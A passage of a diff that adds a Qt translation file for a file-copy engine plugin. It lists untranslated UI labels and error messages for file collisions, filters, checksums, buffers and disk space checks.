+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
